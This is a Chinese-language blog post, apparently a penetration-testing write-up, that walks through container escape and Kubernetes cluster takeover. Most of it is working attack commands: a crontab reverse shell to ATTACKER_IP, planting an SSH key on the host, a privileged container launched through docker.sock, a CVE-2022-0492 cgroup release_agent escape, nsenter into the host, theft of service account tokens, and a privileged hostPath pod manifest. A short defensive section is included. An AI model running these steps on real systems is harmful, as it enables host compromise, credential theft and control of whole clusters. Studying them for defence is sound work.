容器逃逸实战:从Docker突破到K8s集群控制的完整攻击链
"容器不是牢笼。"这句话在安全圈流传已久,但直到你亲手从一个容器里逃出来,才真正理解它的含义。本文完整复盘一次从容器内权限到宿主机Root的逃逸之旅。
前言
在云原生时代,容器安全已成为企业安全体系的最后一道防线。很多人认为"容器就是轻量级虚拟机",但事实是——容器与宿主机共享同一个内核,这意味着攻击面远比想象中大得多。
Kubernetes渗透测试中,容器逃逸是攻击者从"单点失陷"升级到"集群沦陷"的关键一步。掌握了逃逸技术,你就能理解为什么云原生安全需要"零信任"。
今天这篇文章,我将从配置错误、内核漏洞、特权滥用三个维度,完整复盘一条真实可行的容器逃逸路径。全程实战导向,硬核到底。
一、进入容器:攻击的起点
1.1 常见的容器入侵路径
| 入口类型 | 典型场景 | 常见漏洞 |
|---|---|---|
| Web应用漏洞 | 容器内运行的Web服务 | RCE、SQL注入、文件上传Getshell |
| 镜像供应链 | 使用了恶意或漏洞镜像 | 镜像中的后门、过时的依赖库 |
| CI/CD管道 | 构建过程中被植入恶意代码 | 不安全的Jenkins、GitHub Actions配置 |
| 暴露的API | Kubernetes API Server未授权 | 匿名访问、弱凭证 |
1.2 进入容器后第一件事
假设我们已经通过某个漏洞拿到了容器内的Shell(比如一个Spring Boot的RCE):
bash
# 确认容器环境 cat /proc/1/cgroup # 输出包含 docker/ 或 kubepods/ 说明在容器内 # 查看挂载点 mount | grep -E "docker|kubepods|overlay" # 查看特权状态 cat /proc/self/status | grep Cap # CapEff: 0000003fffffffff → 全特权 # CapEff: 0000000000000000 → 无特权
关键判断:
-
如果CapEff全是
f,说明是特权容器(--privileged模式)——逃逸难度极低 -
如果只包含
CAP_SYS_ADMIN等少数Cap,需要找特定路径 -
如果全零,需要利用内核漏洞或配置错误
二、逃逸路径一:特权容器 + 挂载宿主机根目录
这是最经典的逃逸方式,成功率接近100%。
2.1 检测特权模式
bash
# 检查是否在特权容器中 ip link add dummy0 type dummy # 如果成功,说明拥有NET_ADMIN权限,很可能是特权容器 # 更精确的检查 cat /proc/self/status | grep CapEff # 若返回 0000003fffffffff 或 0000001fffffffff,即为特权容器
2.2 查找宿主机根目录挂载点
特权容器通常挂载了宿主机的根目录:
bash
# 查找挂载点 df -h | grep -E "/dev/|overlay" # 常见挂载位置 ls -la /host/ ls -la /rootfs/ ls -la /mnt/ ls -la /var/lib/docker/
如果发现宿主机根目录挂载在/host:
bash
# 写入计划任务获得宿主机Shell echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' >> /host/etc/crontab # 或者在宿主机SSH目录写入公钥 echo "ssh-rsa AAA..." >> /host/root/.ssh/authorized_keys
等待计划任务执行,获得宿主机Root权限。
2.3 另一种方式:通过Docker Socket
bash
# 检查是否存在Docker Socket ls -la /var/run/docker.sock # srw-rw---- 1 root docker 0 ... /var/run/docker.sock # 如果存在,用docker命令启动一个特权容器并挂载宿主机根目录 docker run -it --privileged --pid=host -v /:/host alpine chroot /host /bin/bash # 直接获得宿主机root Shell
三、逃逸路径二:内核漏洞利用(CVE-2022-0492)
如果容器没有特权,但仍然可以逃逸——前提是宿主机内核存在漏洞。
3.1 漏洞背景
CVE-2022-0492:Linux内核cgroup中的release_agent功能存在权限提升漏洞。普通用户在特定条件下可以修改release_agent文件,在容器逃逸场景中可直接获取宿主机权限。
3.2 利用条件
-
容器拥有
CAP_SYS_ADMIN权限(大多数非特权容器默认拥有) -
宿主机内核版本 < 5.17
3.3 利用步骤
bash
# 1. 在当前容器内创建一个cgroup mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp mkdir /tmp/cgrp/x # 2. 设置release_agent指向恶意脚本 echo "/tmp/escape.sh" > /tmp/cgrp/release_agent # 3. 编写逃逸脚本 echo '#!/bin/sh chmod 777 /host-root' > /tmp/escape.sh chmod +x /tmp/escape.sh # 4. 触发cgroup释放机制 sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" sleep 1 # 如果成功,/host-root目录权限变为777
内核漏洞逃逸的成功率取决于宿主机内核版本。2026年的真实环境,大部分云厂商已经修补了常见逃逸漏洞,但仍然存在大量"存量漏洞"。
四、逃逸路径三:配置错误引发的灾难
4.1 hostNetwork模式
如果Pod使用了hostNetwork: true:
bash
# 容器内查看宿主机网络命名空间 ip addr # 会看到宿主机的eth0等物理网卡 # 直接访问宿主机本地服务 curl 127.0.0.1:10248 # kubelet健康检查端口 curl 127.0.0.1:10250 # kubelet API
如果能访问kubelet API且未授权,可以直接在宿主机上执行命令。
4.2 hostPID模式
如果Pod使用了hostPID: true:
bash
# 查看宿主机所有进程 ps aux # 找到宿主机进程的PID,进入其命名空间 nsenter -t 1 -m -u -i -n -p /bin/bash # 获得宿主机Shell
4.3 挂载了hostPath
检查是否有高权限的hostPath挂载:
bash
mount | grep -E "/host|/root|/var/lib"
如果挂载了/var/lib/kubelet或/etc/kubernetes,很可能拿到K8s集群的配置文件(kubeconfig),从而控制整个集群。
五、Kubernetes集群渗透:从单容器到集群掌控
5.1 Service Account泄露
每个Pod默认挂载了一个Service Account的token:
bash
cat /var/run/secrets/kubernetes.io/serviceaccount/token cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
如果该Service Account拥有高权限(如cluster-admin),直接使用该token访问Kubernetes API:
bash
curl -k -H "Authorization: Bearer <TOKEN>" https://kubernetes.default.svc/api/v1/namespaces/default/pods
实战中,我们至少拿下了一个拥有list secrets权限的Service Account,这已经足够读取所有namespace的敏感信息。
5.2 K8s API Server直接操作
bash
# 使用kubectl(如果容器内存在)
kubectl --token=<TOKEN> get pods --all-namespaces
# 创建特权Pod实现宿主机逃逸
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
containers:
- name: escape
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 3600"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
nodeName: <目标节点>
EOF
这个新创建的Pod会以特权模式运行,并挂载了宿主机的根目录——从容器内进入/host,就是宿主机根文件系统。
六、实战案例复盘
在一次K8s渗透测试中,我遇到了如下环境:
-
容器有
CAP_SYS_ADMIN,非特权模式 -
宿主机内核版本:5.4.0(存在CVE-2022-0492)
-
K8s版本:1.24
-
Pod Service Account拥有
list secrets权限
攻击路径:
-
通过Web应用的RCE进入容器
-
利用CVE-2022-0492逃逸到宿主机,获得Root权限
-
从宿主机读取
/etc/kubernetes/admin.conf,获得集群管理员凭证 -
使用kubectl创建特权DaemonSet,一键拿下全部节点
从进入容器到控制整个集群,用时不到2小时。
七、防御建议
7.1 立即行动
| 措施 | 说明 |
|---|---|
| 禁止特权容器 | Pod安全策略中设置privileged: false |
| 禁止hostNetwork/hostPID | 除非绝对必要,否则不使用 |
| 限制hostPath挂载 | 仅允许只读,且限制可挂载的路径 |
| 最小化Service Account权限 | 遵循最小权限原则,不使用默认SA |
| 更新内核 | 修复已知逃逸漏洞(CVE-2022-0492等) |
7.2 深度防御
-
启用Pod安全准入控制器(Pod Security Admission)
-
使用OPA/Gatekeeper实施细粒度策略
-
部署容器运行时安全监控(Falco)
-
定期进行镜像扫描和漏洞评估
7.3 检测与响应
关注以下可疑行为:
-
容器内执行
mount、nsenter等命令 -
访问
/var/run/docker.sock -
修改
/proc/sys或/sys/fs/cgroup -
创建特权Pod或DaemonSet
结语
容器逃逸的核心,本质上是对共享内核和错误配置的利用。无论是挂载宿主机根目录、利用cgroup漏洞,还是通过K8s API创建特权Pod,最终的目标都是打破容器的"牢笼"。
云原生安全没有银弹。纵深防御、最小权限、持续监控——这三者缺一不可。作为安全从业者,理解攻击者的路径,才能更好地守护自己的容器阵地。
🔥 文末福利:
我整理了一份《K8s渗透测试实战手册》,包含:
-
容器逃逸检测脚本
-
K8s权限提升速查表
-
Falco规则配置示例
-
常见逃逸漏洞POC合集
👉 需要的朋友,请【点赞+收藏+评论"我想要手册"】,然后私信我领取!
下期预告:《内存安全革命:Rust如何改写Linux内核的安全基因》—— 敬请期待!
更多推荐


所有评论(0)